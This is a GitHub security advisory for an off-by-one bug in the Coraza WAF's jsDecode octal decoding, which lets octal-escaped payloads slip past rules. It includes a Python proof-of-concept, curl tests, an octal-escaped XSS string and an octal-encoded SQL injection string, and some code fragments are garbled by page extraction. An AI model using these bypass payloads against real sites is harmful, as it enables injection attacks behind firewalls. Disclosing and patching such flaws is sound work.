GitHub Advisoryadvisory · Go

GHSA-pc5q-qfxp-ggqv Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass

MEDIUM Published 2026-10-08 Modified 2026-10-08 Official page ↗
Aliases
CVE-2026-104774
Ecosystem
Go
Packages
github.com/corazawaf/coraza/v3
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
Weaknesses
CWE-172, CWE-193, CWE-693
Reviewed
2026-10-08

Affected packages

• Go github.com/corazawaf/coraza/v3: >= 3.0.0, < 3.8.0 → fixed in 3.8.0

Description

Summary The `t:jsDecode` transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing `strconv.ParseInt` to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on `jsDecode` for normalization are enabled. Therefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (`\ooo`) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected. Details Vulnerable code: `internal/transformations/js_decode.go:64-70.` ```go case (i+1 ‘3’`), leaving `[‘\’, ‘1’]`. This error affects all octal escape sequences (from `\000` to `\377`). Each sequence is decoded and displayed as `0x00` instead of the expected value. For example: `\377` is normally decoded as `\xff` or 255 ```go // Bug: buf = ['\', '3', '7'] to string(buf) = "\\37" nn, _ = strconv.ParseInt("\\37", 8, 8) // nn = 0 // Correct: buf = ['3', '7', '7'] = "377" nn, _ = strconv.ParseInt("377", 8, 8) // nn = 255 = 0xFF ``` PoC Test Environment Coraza WAF v3.7.0 is configured to `127.0.0.1:8090`, `SecRuleEngine` is set to `On`, `SecRequestBodyAccess` is set to `On`, and the complete OWASP CRS rule set has been loaded. PoC Executable Script ```python !/usr/bin/env python3 import urllib.request, sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8090" normal_url = f"{TARGET}/?q=%3Cscript%3E" octal_url = f"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E" print(f"[Normal XSS: {normal_url}") try: urllib.request.urlopen(normal_url) print(" Response: 200 ") except urllib.error.HTTPError as e: print(f" Response: {e.code}") print(f"\nBypass JS octal-escaped XSS: {octal_url}") try: urllib.request.urlopen(octal_url) print(" Response: 200 (BYPASS)") except urllib.error.HTTPError as e: print(f" Response: {e.code}") ``` output: ``` Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E Response: 403 Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E Response: 200 (BYPASS) ``` Proof • Normal Test ```bash curl -v -s "http://127.0.0.1:8090/?q=%3Cscript%3E" " is_interrupted=false ``` Impact Attackers can bypass WAFs that rely on the `t:jsDecode` transformation rule, leading to cross-site scripting (XSS), SQL injection, or other malicious activities. Real-world attack scenarios: SQL injection bypass. A rule using `t:jsDecode` received `\47\117\122\40\61\75\61` (i.e., `' OR 1=1`). This octal string decodes to `\0...`, so the rule did not match the SQL injection pattern. Affected Versions Coraza WAF v3.0.0 - v3.7.0 Resolution Fixed in `internal/transformations/js_decode.go`'s `\OOO` octal branch, plus two related issues found and fixed while verifying the patch — the actual shipped fix is broader than the single-line change originally proposed: 1. The reported off-by-one (`buf[j] = input[i+j]` → `buf[j] = input[i+1+j]`, with the digit-continuation check updated to `input[i+1+j]` accordingly): confirmed and fixed exactly as described above. 2. A related high-byte clamping bug in the same branch: the decoded value was parsed with `strconv.ParseInt(string(buf), 8, 8)` — a *signed* 8-bit parse. Octal values `\200`-`\377` (decimal 128-255) exceed the signed int8 range, so even after fixing the indexing bug, those high bytes would still fail to parse and clamp to `0x7f` instead of their real value. Fixed by parsing as unsigned (`strconv.ParseUint(string(buf), 8, 8)`), so the full `\000`-`\377` range decodes correctly. 3. A related overflow-saturation bug in the sibling `escapeSeqDecode` transformation (`internal/transformations/escape_seq_decode.go`), discovered while auditing the same octal-parsing pattern elsewhere in the codebase. Unlike `jsDecode`, `escapeSeqDecode`'s indexing was already correct, but it parsed octal values with `strconv.ParseUint(input[i+1:i+j], 8, 8)` — an 8-bit-wide unsigned parse. Since up to 3 octal digits are consumed (`\0`-`\777`, i.e. up to decimal 511), any value above `\377` (255) overflows 8 bits, causing `strconv.ParseUint` to return an error and a saturated value of `0xFF` for every one of those escapes, rather than correctly wrapping to its low byte (mirroring ModSecurity's `strtol(...) & 0xFF` reference behavior). Fixed by widening the parse to 16 bits (`strconv.ParseUint(input[i+1:i+j], 8, 16)`) before truncating to a byte, so `\400`-`\777` now wrap to their correct low-byte value instead of all saturating to `0xFF`. Verified end-to-end: both PoC payloads from this report now decode correctly — `` → ``, and `\47\117\122\40\61\75\61` → `'OR 1=1` — so a downstream WAF rule inspecting the transformed value now sees the real, intended content instead of null bytes or clamped/saturated garbage. Extensive regression tests were added covering the full octal range (including the `\200`-`\377` high-byte range and the `\400`-`\777` overflow range for `escapeSeqDecode`), the pre-existing digit-count/truncation edge cases, and both PoC payloads verbatim. Mitigation Upgrade to the patched release once available. If upgrading isn't immediately possible, the specific code change is: ```go for (i+1+j = inputLen || !isodigit(input[i+1+j]) { break } } ... nn, _ := strconv.ParseUint(string(buf), 8, 8) ``` Severity (revised 2026-10-02) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium). Attack Complexity is Low: JavaScript engines decode legacy octal escapes in non-strict string literals (ECMAScript Annex B), the standard behaviour `jsDecode` emulates, so the request alone triggers the discrepancy. The previous vector (`S:U/C:L/I:L`, 6.5) scored Confidentiality and Inte…

Related

Alias · CVE (1)

  • CVE-2026-104774 OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. vulnerability

Weakness · CWE (3)

  • CWE-172 Improper Encoding or Decoding of Data weakness
  • CWE-193 Off-by-one Error weakness
  • CWE-693 Protection Mechanism Failure weakness

References